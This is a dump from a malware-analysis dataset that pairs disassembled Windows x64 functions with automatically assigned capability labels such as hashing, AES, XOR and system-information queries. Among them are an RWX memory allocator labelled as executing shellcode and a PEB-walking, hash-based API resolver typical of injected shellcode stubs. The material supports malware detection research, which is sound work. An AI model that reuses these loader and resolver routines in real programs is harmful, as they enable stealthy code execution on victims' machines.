joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140035420
Capabilities:
Hash data using fnv

Disassembly:
push rdi
sub rsp, 0x50
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov rdi, r9
mov rbx, rdx
mov r10, rcx
mov rax, qword [rcx]
lea rcx, [0x1400357d0]
mov qword [rax + 0x108], rcx
mov r11d, 1
lea rax, [r10 + 0x18]
nop dword [rax + rax]
mov r8, qword [r10]
mov r9, qword [rax - 0x10]
mov r8, qword [r8 + 0x108]
mov qword [r9 + 0x108], r8
mov rcx, qword [r10]
mov rdx, qword [rax - 8]
mov rcx, qword [rcx + 0x108]
mov qword [rdx + 0x108], rcx
mov rcx, qword [r10]
mov rdx, qword [rax]
mov rcx, qword [rcx + 0x108]
mov qword [rdx + 0x108], rcx
mov rcx, qword [r10]
mov rdx, qword [rax + 8]
mov rcx, qword [rcx + 0x108]
mov qword [rdx + 0x108], rcx
add r11d, 4
lea rax, [rax + 0x20]
cmp r11d, 5
jb 0x140035460
mov ecx, dword [0x140067d98]
mov rax, qword gs:[0x58]
mov edx, 4
mov rcx, qword [rax + rcx*8]
mov eax, dword [rdx + rcx]
cmp dword [0x1400644f0], eax
jg 0x1400355af
mov r9d, dword [rdi + 4]
mov eax, r9d
shr eax, 8
movzx r8d, al
movzx eax, r9b
movabs rcx, 0xcbf29ce484222325
xor rax, rcx
movabs rdx, 0x100000001b3
imul rax, rdx
xor r8, rax
imul r8, rdx
mov eax, r9d
shr eax, 0x10
movzx ecx, al
xor r8, rcx
imul r8, rdx
mov eax, r9d
shr rax, 0x18
xor r8, rax
imul r8, rdx
and r8, qword [0x1400644e0]
mov rax, r8
add rax, rax
mov rdx, qword [0x1400644c8]
mov rax, qword [rdx + rax*8]
lea rcx, [r8 + r8]
mov r8, qword [rdx + rcx*8]
lea r10, [rdx + rcx*8]
mov rdx, qword [0x1400644b8]
cmp r8, rdx
jne 0x14003556f
mov rcx, rdx
jmp 0x140035576
mov rcx, qword [r10 + 8]
mov rcx, qword [rcx]
cmp rax, rcx
je 0x14003559d
cmp dword [rax + 0x10], r9d
je 0x140035586
mov rax, qword [rax]
jmp 0x140035565
cmp rax, rdx
je 0x14003559d
mov rcx, qword [rax + 0x18]
mov qword [rbx], rcx
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
mov qword [rbx], 0
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
lea rcx, [0x1400644f0]
call fcn.14004c70c
cmp dword [0x1400644f0], 0xffffffff
jne 0x1400354e8
mov dword [rsp + 0x28], 1
lea rax, [0x140034110]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x28]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x38]
mov qword [rsp + 0x48], rax
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [0x1400644b0]
call fcn.14003c280
lea rcx, [0x14004f300]
call fcn.14004cf28
nop
lea rcx, [0x1400644f0]
call fcn.14004c6ac
jmp 0x1400354e8
Function at 0x14003fd90
Capabilities:
Encode data using xor

Disassembly:
mov r11, rsp
push rbp
push rsi
push r14
push r15
mov rbp, rsp
sub rsp, 0x78
mov rax, qword [0x140063828]
xor rax, rsp
mov qword [rbp - 0x18], rax
mov r15, rcx
lea r9, [r8 + 1]
movabs rax, 0x5851f42d4c957f2d
movabs rcx, 0x810a978a59f5a1fc
imul r9, rax
xor r14d, r14d
mov rsi, rdx
mov rax, r9
mov qword [rbp - 0x58], r9
xor rax, rcx
movabs rcx, 0xa77099df38c2d846
mov qword [rbp - 0x50], rax
mov rax, r9
xor rax, rcx
movabs rcx, 0x8126b91cbf22495c
mov qword [rbp - 0x48], rax
mov rax, r9
xor rax, rcx
movabs rcx, 0x494d2597179f8a62
mov qword [rbp - 0x40], rax
mov rax, r9
xor rax, rcx
movabs rcx, 0x9237efb9ceaaec0c
mov qword [rbp - 0x38], rax
mov rax, r9
xor rax, rcx
movabs rcx, 0x2f2a56746ce62d78
mov qword [rbp - 0x30], rax
mov rax, r9
xor rax, rcx
mov qword [rbp - 0x28], rax
movabs rax, 0x84853bf7b62ce54e
xor r9, rax
cmp dword [0x140064518], r14d
mov qword [rbp - 0x20], r9
jbe 0x14003ff1d
mov qword [r11 + 0x18], rbx
mov qword [r11 + 0x20], rdi
mov qword [r11 - 0x28], r12
nop
mov edi, dword [0x140064500]
shl edi, 0xa
shr edi, 6
dec edi
and rdi, r8
shl rdi, 6
add rdi, qword [r15]
prefetchnta byte [rdi]
mov eax, r14d
lea rdx, [r15 + 0x28]
imul rbx, rax, 0x1878
lea r8, [r15 + 0x187a8]
add rdx, rbx
lea rcx, [rbp - 0x58]
call fcn.140044a60
mov rax, qword [rdi]
inc r14d
xor qword [rbp - 0x58], rax
mov rax, qword [rdi + 8]
xor qword [rbp - 0x50], rax
mov rax, qword [rdi + 0x10]
xor qword [rbp - 0x48], rax
mov rax, qword [rdi + 0x18]
xor qword [rbp - 0x40], rax
mov rax, qword [rdi + 0x20]
xor qword [rbp - 0x38], rax
mov rax, qword [rdi + 0x28]
xor qword [rbp - 0x30], rax
mov rax, qword [rdi + 0x30]
xor qword [rbp - 0x28], rax
mov rax, qword [rdi + 0x38]
xor qword [rbp - 0x20], rax
cmp r14d, dword [0x140064518]
movsxd rax, dword [rbx + r15 + 0x183c]
mov r8, qword [rbp + rax*8 - 0x58]
jb 0x14003fe70
mov r12, qword [rsp + 0x70]
mov rdi, qword [rsp + 0xb8]
mov rbx, qword [rsp + 0xb0]
movaps xmm0, xmmword [rbp - 0x58]
movaps xmm1, xmmword [rbp - 0x48]
movups xmmword [rsi], xmm0
movaps xmm0, xmmword [rbp - 0x38]
movups xmmword [rsi + 0x10], xmm1
movaps xmm1, xmmword [rbp - 0x28]
movups xmmword [rsi + 0x20], xmm0
movups xmmword [rsi + 0x30], xmm1
mov rcx, qword [rbp - 0x18]
xor rcx, rsp
call fcn.14004c1b0
add rsp, 0x78
pop r15
pop r14
pop rsi
pop rbp
ret
Function at 0x140040020
Capabilities:
Decrypt data using aes via x86 extensions
Encrypt data using aes via x86 extensions

Disassembly:
mov eax, dword [0x140064534]
lea r8, [rcx + 0x40]
mov r9, rdx
mov rcx, r9
lea edx, [rax*8 + 0x80]
jmp 0x140047eb0
sub rsp, 0x68
movdqa xmm4, xmmword [0x1400645c0]
lea r9, [rdx + r8]
movdqa xmm5, xmmword [0x1400645d0]
movdqu xmm0, xmmword [rcx]
movdqu xmm1, xmmword [rcx + 0x10]
movdqu xmm2, xmmword [rcx + 0x20]
movdqu xmm3, xmmword [rcx + 0x30]
movaps xmmword [rsp + 0x50], xmm6
movdqa xmm6, xmmword [0x1400645e0]
movaps xmmword [rsp + 0x40], xmm7
movdqa xmm7, xmmword [0x1400645f0]
movaps xmmword [rsp + 0x30], xmm8
movdqa xmm8, xmmword [0x140064600]
movaps xmmword [rsp + 0x20], xmm9
movdqa xmm9, xmmword [0x140064610]
movaps xmmword [rsp + 0x10], xmm10
movdqa xmm10, xmmword [0x140064620]
movaps xmmword [rsp], xmm11
movdqa xmm11, xmmword [0x140064630]
cmp r8, r9
jae 0x140047fb9
lea rcx, [r8 + 0x20]
nop dword [rax]
aesdec xmm0, xmm4
aesenc xmm1, xmm4
aesdec xmm2, xmm8
aesenc xmm3, xmm8
aesdec xmm0, xmm5
aesenc xmm1, xmm5
aesdec xmm2, xmm9
aesenc xmm3, xmm9
aesdec xmm0, xmm6
aesenc xmm1, xmm6
aesdec xmm0, xmm7
movdqu xmmword [rcx - 0x20], xmm0
lea rcx, [rcx + 0x40]
aesdec xmm2, xmm10
aesenc xmm1, xmm7
movdqu xmmword [rcx - 0x50], xmm1
lea rax, [rcx - 0x20]
aesenc xmm3, xmm10
aesdec xmm2, xmm11
movdqu xmmword [rcx - 0x40], xmm2
aesenc xmm3, xmm11
movdqu xmmword [rcx - 0x30], xmm3
cmp rax, r9
jb 0x140047f40
movaps xmm6, xmmword [rsp + 0x50]
movaps xmm7, xmmword [rsp + 0x40]
movaps xmm8, xmmword [rsp + 0x30]
movaps xmm9, xmmword [rsp + 0x20]
movaps xmm10, xmmword [rsp + 0x10]
movaps xmm11, xmmword [rsp]
add rsp, 0x68
ret

Function at 0x140040220
Capabilities:
Decrypt data using aes via x86 extensions
Encrypt data using aes via x86 extensions

Disassembly:
mov r8, qword [rcx + 0x11f0]
mov rax, rdx
mov edx, dword [0x140064530]
mov rcx, rax
jmp 0x1400469f0
sub rsp, 0x28
movdqa xmm4, xmmword [0x140055450]
lea r10, [rdx + r8]
movdqa xmm5, xmmword [0x140055400]
mov r9, rcx
movdqu xmm0, xmmword [rcx]
movdqu xmm1, xmmword [rcx + 0x10]
movdqu xmm2, xmmword [rcx + 0x20]
movdqu xmm3, xmmword [rcx + 0x30]
movaps xmmword [rsp + 0x10], xmm6
movdqa xmm6, xmmword [0x140055410]
movaps xmmword [rsp], xmm7
movdqa xmm7, xmmword [0x140055420]
cmp r8, r10
jae 0x140046a75
lea rcx, [r8 + 0x20]
aesdec xmm0, xmm4
movdqu xmmword [rcx - 0x20], xmm0
lea rcx, [rcx + 0x40]
aesenc xmm1, xmm5
movdqu xmmword [rcx - 0x50], xmm1
lea rax, [rcx - 0x20]
aesdec xmm2, xmm6
movdqu xmmword [rcx - 0x40], xmm2
aesenc xmm3, xmm7
movdqu xmmword [rcx - 0x30], xmm3
cmp rax, r10
jb 0x140046a40
movaps xmm6, xmmword [rsp + 0x10]
movaps xmm7, xmmword [rsp]
movdqu xmmword [r9], xmm0
movdqu xmmword [r9 + 0x10], xmm1
movdqu xmmword [r9 + 0x20], xmm2
movdqu xmmword [r9 + 0x30], xmm3
add rsp, 0x28
ret
Function at 0x140042370
Capabilities:
Hash data using sha512

Disassembly:
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xb0]
sub rsp, 0x1b0
mov rax, qword [0x140063828]
xor rax, rsp
mov qword [rbp + 0x90], rax
mov rsi, qword [rbp + 0x110]
mov r12, r9
mov r13, r8
mov rdi, rdx
mov r15, rcx
mov r14d, 0xffffffff
test r8, r8
jne 0x1400423c3
test r9, r9
jne 0x140042569
test r15, r15
je 0x140042569
lea rax, [rdx - 1]
cmp rax, 0x3f
ja 0x140042569
mov qword [rsp + 0x1a8], rbx
mov rbx, qword [rbp + 0x118]
test rsi, rsi
jne 0x1400423f7
test rbx, rbx
jne 0x140042561
cmp rbx, 0x40
ja 0x140042561
test rbx, rbx
je 0x14004252c
test rsi, rsi
je 0x140042561
xor eax, eax
mov byte [rbp + 0x10], dil
xor edx, edx
mov qword [rbp + 0x22], rax
mov r8d, 0xa4
mov qword [rbp + 0x2a], rax
lea rcx, [rsp + 0x60]
mov qword [rbp + 0x32], rax
mov qword [rbp + 0x3a], rax
mov qword [rbp + 0x42], rax
mov dword [rbp + 0x4a], eax
mov word [rbp + 0x4e], ax
mov byte [rbp + 0x11], bl
mov word [rbp + 0x12], 0x101
mov dword [rbp + 0x14], 0
mov word [rbp + 0x20], 0
call sub.VCRUNTIME140.dll_memset
movaps xmm0, xmmword [0x140054b80]
xor eax, eax
movaps xmm1, xmmword [0x140054b90]
movabs rcx, 0x6a09e667f3bcc908
movaps xmm2, xmmword [0x140054bb0]
xor edx, edx
mov qword [rbp + 8], rax
mov r8d, 0x80
mov rax, qword [rbp + 0x10]
xor rax, rcx
movaps xmmword [rsp + 0x20], xmm0
movaps xmm0, xmmword [0x140054ba0]
lea rcx, [rbp + 0x10]
xor qword [rsp + 0x28], 0
mov qword [rsp + 0x20], rax
movq rax, xmm1
xor rax, qword [rbp + 0x20]
movaps xmmword [rsp + 0x30], xmm1
mov qword [rsp + 0x30], rax
mov rax, qword [rbp + 0x28]
xor qword [rsp + 0x38], rax
movq rax, xmm0
xor rax, qword [rbp + 0x30]
movaps xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x40], rax
mov rax, qword [rbp + 0x38]
xor qword [rsp + 0x48], rax
movaps xmmword [rsp + 0x50], xmm2
psrldq xmm2, 8
movq rax, xmm2
xor rax, qword [rbp + 0x48]
mov qword [rsp + 0x58], rax
movzx eax, dil
mov dword [rbp + 4], eax
call sub.VCRUNTIME140.dll_memset
mov r8, rbx
lea rcx, [rbp + 0x10]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov r8d, 0x80
lea rdx, [rbp + 0x10]
lea rcx, [rsp + 0x20]
call fcn.140042d00
jmp 0x14004253a
lea rcx, [rsp + 0x20]
call fcn.140042be0
test eax, eax
js 0x140042561
mov r8, r12
lea rcx, [rsp + 0x20]
mov rdx, r13
call fcn.140042d00
test eax, eax
js 0x140042561
mov r8, rdi
lea rcx, [rsp + 0x20]
mov rdx, r15
call fcn.140042ac0
mov r14d, eax
mov rbx, qword [rsp + 0x1a8]
mov eax, r14d
mov rcx, qword [rbp + 0x90]
xor rcx, rsp
call fcn.14004c1b0
add rsp, 0x1b0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x140042be0
Capabilities:
Hash data using sha512

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x70
mov rax, qword [0x140063828]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov rdi, rdx
mov rbx, rcx
test rcx, rcx
je 0x140042cdc
lea rax, [rdx - 1]
cmp rax, 0x3f
ja 0x140042cc3
xor eax, eax
mov byte [rsp + 0x20], dil
xor edx, edx
mov qword [rsp + 0x32], rax
mov r8d, 0xf0
mov qword [rsp + 0x3a], rax
mov qword [rsp + 0x42], rax
mov qword [rsp + 0x4a], rax
mov word [rsp + 0x21], 0x100
mov byte [rsp + 0x23], 1
mov dword [rsp + 0x24], 0
mov word [rsp + 0x30], 0
call sub.VCRUNTIME140.dll_memset
movaps xmm0, xmmword [0x140054b80]
mov rax, qword [rsp + 0x20]
movups xmmword [rbx], xmm0
movaps xmm1, xmmword [0x140054b90]
movups xmmword [rbx + 0x10], xmm1
movaps xmm0, xmmword [0x140054ba0]
movups xmmword [rbx + 0x20], xmm0
movaps xmm1, xmmword [0x140054bb0]
movups xmmword [rbx + 0x30], xmm1
xor qword [rbx], rax
mov rax, qword [rsp + 0x30]
xor qword [rbx + 0x10], rax
mov rax, qword [rsp + 0x38]
xor qword [rbx + 0x18], rax
mov rax, qword [rsp + 0x40]
xor qword [rbx + 0x20], rax
mov rax, qword [rsp + 0x48]
xor qword [rbx + 0x28], rax
xor qword [rbx + 8], 0
movzx eax, dil
mov dword [rbx + 0xe4], eax
xor eax, eax
jmp 0x140042ce1
cmp byte [rcx + 0xe8], 0
je 0x140042cd4
mov qword [rcx + 0x58], 0xffffffffffffffff
mov qword [rcx + 0x50], 0xffffffffffffffff
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.14004c1b0
mov rbx, qword [rsp + 0x90]
add rsp, 0x70
pop rdi
ret

Function at 0x140046490
Capabilities:
Encode data using xor

Disassembly:
lea rax, [rdx + 0x3f8]
mov r8d, 0x80
lea r10, [rcx + 0x3f8]
cmp rcx, rax
ja 0x1400464b1
xor r9d, r9d
cmp r10, rdx
jae 0x140046521
mov r9, rdx
lea rax, [rcx + 0x10]
sub r9, rcx
mov r10d, reloc.WSOCK32.dll_recv
movdqu xmm0, xmmword [rax - 0x10]
movdqu xmm1, xmmword [r9 + rax - 0x10]
movdqu xmm2, xmmword [r9 + rax]
lea rax, [rax + 0x40]
pxor xmm1, xmm0
movdqu xmmword [rax - 0x50], xmm1
movdqu xmm0, xmmword [rax - 0x40]
movdqu xmm1, xmmword [r9 + rax - 0x30]
pxor xmm2, xmm0
movdqu xmmword [rax - 0x40], xmm2
movdqu xmm0, xmmword [rax - 0x30]
pxor xmm1, xmm0
movdqu xmmword [rax - 0x30], xmm1
movdqu xmm0, xmmword [rax - 0x20]
movdqu xmm1, xmmword [r9 + rax - 0x20]
pxor xmm1, xmm0
movdqu xmmword [rax - 0x20], xmm1
sub r10, 1
jne 0x1400464c1
mov r9, r8
cmp r9, r8
jae 0x140046541
sub rdx, rcx
lea rax, [rcx + r9*8]
sub r8, r9
mov rcx, qword [rax + rdx]
xor qword [rax], rcx
lea rax, [rax + 8]
sub r8, 1
jne 0x140046530
ret
Function at 0x1400469f0
Capabilities:
Decrypt data using aes via x86 extensions
Encrypt data using aes via x86 extensions

Disassembly:
mov r8, qword [rcx + 0x11f0]
mov rax, rdx
mov edx, dword [0x140064530]
mov rcx, rax
jmp 0x1400469f0
sub rsp, 0x28
movdqa xmm4, xmmword [0x140055450]
lea r10, [rdx + r8]
movdqa xmm5, xmmword [0x140055400]
mov r9, rcx
movdqu xmm0, xmmword [rcx]
movdqu xmm1, xmmword [rcx + 0x10]
movdqu xmm2, xmmword [rcx + 0x20]
movdqu xmm3, xmmword [rcx + 0x30]
movaps xmmword [rsp + 0x10], xmm6
movdqa xmm6, xmmword [0x140055410]
movaps xmmword [rsp], xmm7
movdqa xmm7, xmmword [0x140055420]
cmp r8, r10
jae 0x140046a75
lea rcx, [r8 + 0x20]
aesdec xmm0, xmm4
movdqu xmmword [rcx - 0x20], xmm0
lea rcx, [rcx + 0x40]
aesenc xmm1, xmm5
movdqu xmmword [rcx - 0x50], xmm1
lea rax, [rcx - 0x20]
aesdec xmm2, xmm6
movdqu xmmword [rcx - 0x40], xmm2
aesenc xmm3, xmm7
movdqu xmmword [rcx - 0x30], xmm3
cmp rax, r10
jb 0x140046a40
movaps xmm6, xmmword [rsp + 0x10]
movaps xmm7, xmmword [rsp]
movdqu xmmword [r9], xmm0
movdqu xmmword [r9 + 0x10], xmm1
movdqu xmmword [r9 + 0x20], xmm2
movdqu xmmword [r9 + 0x30], xmm3
add rsp, 0x28
ret
Function at 0x140047eb0
Capabilities:
Decrypt data using aes via x86 extensions
Encrypt data using aes via x86 extensions

Disassembly:
mov eax, dword [0x140064534]
lea r8, [rcx + 0x40]
mov r9, rdx
mov rcx, r9
lea edx, [rax*8 + 0x80]
jmp 0x140047eb0
sub rsp, 0x68
movdqa xmm4, xmmword [0x1400645c0]
lea r9, [rdx + r8]
movdqa xmm5, xmmword [0x1400645d0]
movdqu xmm0, xmmword [rcx]
movdqu xmm1, xmmword [rcx + 0x10]
movdqu xmm2, xmmword [rcx + 0x20]
movdqu xmm3, xmmword [rcx + 0x30]
movaps xmmword [rsp + 0x50], xmm6
movdqa xmm6, xmmword [0x1400645e0]
movaps xmmword [rsp + 0x40], xmm7
movdqa xmm7, xmmword [0x1400645f0]
movaps xmmword [rsp + 0x30], xmm8
movdqa xmm8, xmmword [0x140064600]
movaps xmmword [rsp + 0x20], xmm9
movdqa xmm9, xmmword [0x140064610]
movaps xmmword [rsp + 0x10], xmm10
movdqa xmm10, xmmword [0x140064620]
movaps xmmword [rsp], xmm11
movdqa xmm11, xmmword [0x140064630]
cmp r8, r9
jae 0x140047fb9
lea rcx, [r8 + 0x20]
nop dword [rax]
aesdec xmm0, xmm4
aesenc xmm1, xmm4
aesdec xmm2, xmm8
aesenc xmm3, xmm8
aesdec xmm0, xmm5
aesenc xmm1, xmm5
aesdec xmm2, xmm9
aesenc xmm3, xmm9
aesdec xmm0, xmm6
aesenc xmm1, xmm6
aesdec xmm0, xmm7
movdqu xmmword [rcx - 0x20], xmm0
lea rcx, [rcx + 0x40]
aesdec xmm2, xmm10
aesenc xmm1, xmm7
movdqu xmmword [rcx - 0x50], xmm1
lea rax, [rcx - 0x20]
aesenc xmm3, xmm10
aesdec xmm2, xmm11
movdqu xmmword [rcx - 0x40], xmm2
aesenc xmm3, xmm11
movdqu xmmword [rcx - 0x30], xmm3
cmp rax, r9
jb 0x140047f40
movaps xmm6, xmmword [rsp + 0x50]
movaps xmm7, xmmword [rsp + 0x40]
movaps xmm8, xmmword [rsp + 0x30]
movaps xmm9, xmmword [rsp + 0x20]
movaps xmm10, xmmword [rsp + 0x10]
movaps xmm11, xmmword [rsp]
add rsp, 0x68
ret
Function at 0x140048da0
Capabilities:
Decrypt data using aes via x86 extensions
Encrypt data using aes via x86 extensions

Disassembly:
movdqa xmm2, xmmword [0x140055460]
lea r9, [rcx + rdx]
movdqa xmm3, xmmword [0x140055440]
movdqa xmm4, xmmword [0x140055470]
movdqa xmm5, xmmword [0x140055430]
cmp rcx, r9
jae 0x140048df4
add rcx, 0x20
nop dword [rax]
aesenc xmm2, xmmword [rcx - 0x20]
aesdec xmm3, xmmword [rcx - 0x10]
aesenc xmm4, xmmword [rcx]
aesdec xmm5, xmmword [rcx + 0x10]
lea rcx, [rcx + 0x40]
lea rax, [rcx - 0x20]
cmp rax, r9
jb 0x140048dd0
movdqa xmm0, xmmword [0x1400553f0]
movdqa xmm1, xmmword [0x140055480]
aesenc xmm2, xmm0
aesdec xmm3, xmm0
aesenc xmm2, xmm1
movdqu xmmword [r8], xmm2
aesenc xmm4, xmm0
aesdec xmm3, xmm1
movdqu xmmword [r8 + 0x10], xmm3
aesdec xmm5, xmm0
aesenc xmm4, xmm1
aesdec xmm5, xmm1
movdqu xmmword [r8 + 0x20], xmm4
movdqu xmmword [r8 + 0x30], xmm5
ret
Function at 0x14004a0d0
Capabilities:
Decrypt data using aes via x86 extensions
Encrypt data using aes via x86 extensions

Disassembly:
push rbx
sub rsp, 0x60
movdqu xmm0, xmmword [r9]
mov rbx, r8
movdqu xmm1, xmmword [r9 + 0x10]
lea r8, [rdx - 0x1000]
movdqa xmm2, xmmword [0x140055460]
mov r11, r9
movdqa xmm3, xmmword [0x140055440]
mov r10, rcx
movdqa xmm4, xmmword [0x140055470]
mov rax, rcx
movdqa xmm5, xmmword [0x140055430]
add r8, rcx
movaps xmmword [rsp + 0x50], xmm6
mov edx, 2
movdqu xmm6, xmmword [r9 + 0x20]
movaps xmmword [rsp + 0x40], xmm7
movdqu xmm7, xmmword [r9 + 0x30]
lea r9, [rcx + 0x1000]
movaps xmmword [rsp + 0x30], xmm8
movdqa xmm8, xmmword [0x140055450]
movaps xmmword [rsp + 0x20], xmm9
movdqa xmm9, xmmword [0x140055400]
movaps xmmword [rsp + 0x10], xmm10
movdqa xmm10, xmmword [0x140055410]
movaps xmmword [rsp], xmm11
movdqa xmm11, xmmword [0x140055420]
cmp rax, r8
jae 0x14004a1d2
lea rcx, [rax + 0x20]
sub r9, rax
aesenc xmm2, xmmword [rax]
aesdec xmm3, xmmword [rcx - 0x10]
aesenc xmm4, xmmword [rcx]
aesdec xmm5, xmmword [rcx + 0x10]
aesdec xmm0, xmm8
movdqu xmmword [rax], xmm0
aesenc xmm1, xmm9
movdqu xmmword [rcx - 0x10], xmm1
aesdec xmm6, xmm10
aesenc xmm7, xmm11
movdqu xmmword [rcx], xmm6
movdqu xmmword [rcx + 0x10], xmm7
prefetcht0 byte [r9 + rax]
add rax, 0x40
lea rcx, [rcx + 0x40]
cmp rax, r8
jb 0x14004a180
add r8, 0x1000
mov r9, r10
sub rdx, 1
jne 0x14004a174
movaps xmm8, xmmword [rsp + 0x30]
movaps xmm9, xmmword [rsp + 0x20]
movaps xmm10, xmmword [rsp + 0x10]
movaps xmm11, xmmword [rsp]
movdqu xmmword [r11], xmm0
movdqa xmm0, xmmword [0x1400553f0]
movdqu xmmword [r11 + 0x10], xmm1
movdqa xmm1, xmmword [0x140055480]
movdqu xmmword [r11 + 0x20], xmm6
movaps xmm6, xmmword [rsp + 0x50]
movdqu xmmword [r11 + 0x30], xmm7
movaps xmm7, xmmword [rsp + 0x40]
aesenc xmm2, xmm0
aesdec xmm3, xmm0
aesenc xmm2, xmm1
movdqu xmmword [rbx], xmm2
aesenc xmm4, xmm0
aesdec xmm3, xmm1
movdqu xmmword [rbx + 0x10], xmm3
aesdec xmm5, xmm0
aesenc xmm4, xmm1
aesdec xmm5, xmm1
movdqu xmmword [rbx + 0x20], xmm4
movdqu xmmword [rbx + 0x30], xmm5
add rsp, 0x60
pop rbx
ret

Function at 0x14004adc0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov rdx, rcx
mov r9d, 0x40
xor ecx, ecx
mov r8d, 0x3000
jmp qword [sym.imp.KERNEL32.dll_VirtualAlloc]
Function at 0x140004000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
cld
and rsp, 0xfffffffffffffff0
call fcn.1400040d6
push r9
push r8
push rdx
xor rdx, rdx
mov rdx, qword gs:[rdx + 0x60]
mov rdx, qword [rdx + 0x18]
push rcx
push rsi
mov rdx, qword [rdx + 0x20]
movzx rcx, word [rdx + 0x4a]
xor r9, r9
mov rsi, qword [rdx + 0x50]
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x140004037
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x14000402d
push rdx
push r9
mov rdx, qword [rdx + 0x20]
mov eax, dword [rdx + 0x3c]
add rax, rdx
cmp word [rax + 0x18], 0x20b
jne 0x1400040cb
mov eax, dword [rax + 0x88]
test rax, rax
je 0x1400040cb
add rax, rdx
mov r8d, dword [rax + 0x20]
add r8, rdx
push rax
mov ecx, dword [rax + 0x18]
jrcxz 0x1400040ca
xor r9, r9
dec rcx
mov esi, dword [r8 + rcx*4]
add rsi, rdx
xor rax, rax
lodsb al, byte [rsi]
ror r9d, 0xd
add r9d, eax
cmp al, ah
jne 0x140004081
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x140004072
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
pop r8
pop r8
add rax, rdx
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140004021
Function at 0x1400018b4
Capabilities:
Check if file exists

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x20
cmp qword [rcx], rdx
je 0x1400018f8
mov rsi, rdx
mov rdi, rcx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov rcx, rdi
call fcn.1400039d0
lea rax, [rsi + 1]
cmp rax, 2
jb 0x1400018e8
mov qword [rdi], rsi
call fcn.140007bc0
mov ecx, ebx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.KERNEL32.dll_SetLastError]
nop
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret

Function at 0x140004300
Capabilities:
Get system information on windows

Disassembly:
push rsi
push rdi
sub rsp, 0x158
mov rax, qword [0x140233818]
xor rax, rsp
mov qword [rsp + 0x150], rax
lea rcx, [rsp + 0x34]
mov r8d, 0x118
xor edx, edx
call fcn.14014a5b0
mov dword [rsp + 0x30], 0x11c
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x2c], 0
mov ecx, dword [rsp + 0x34]
mov edx, dword [rsp + 0x38]
lea rax, [rsp + 0x2c]
mov qword [rsp + 0x20], rax
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_GetProductInfo]
mov ecx, 0x98
call fcn.1401489b4
mov rsi, rax
mov edi, dword [rsp + 0x2c]
mov eax, dword [0x14023ed90]
mov ecx, dword [0x140242758]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
cmp eax, dword [rcx + 4]
jg 0x1400043cc
lea r8, [0x14023ed60]
lea rdx, [rsp + 0x30]
mov rcx, rsi
mov r9d, edi
call fcn.140004420
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.140149000
mov rax, rsi
add rsp, 0x158
pop rdi
pop rsi
ret
lea rcx, [0x14023ed90]
call fcn.140148dd8
cmp dword [0x14023ed90], 0xffffffff
jne 0x140004398
xorps xmm0, xmm0
movups xmmword [0x14023ed80], xmm0
movups xmmword [0x14023ed70], xmm0
movups xmmword [0x14023ed60], xmm0
lea rcx, [0x14023ed60]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rcx, [0x14023ed90]
call fcn.140148d78
jmp 0x140004398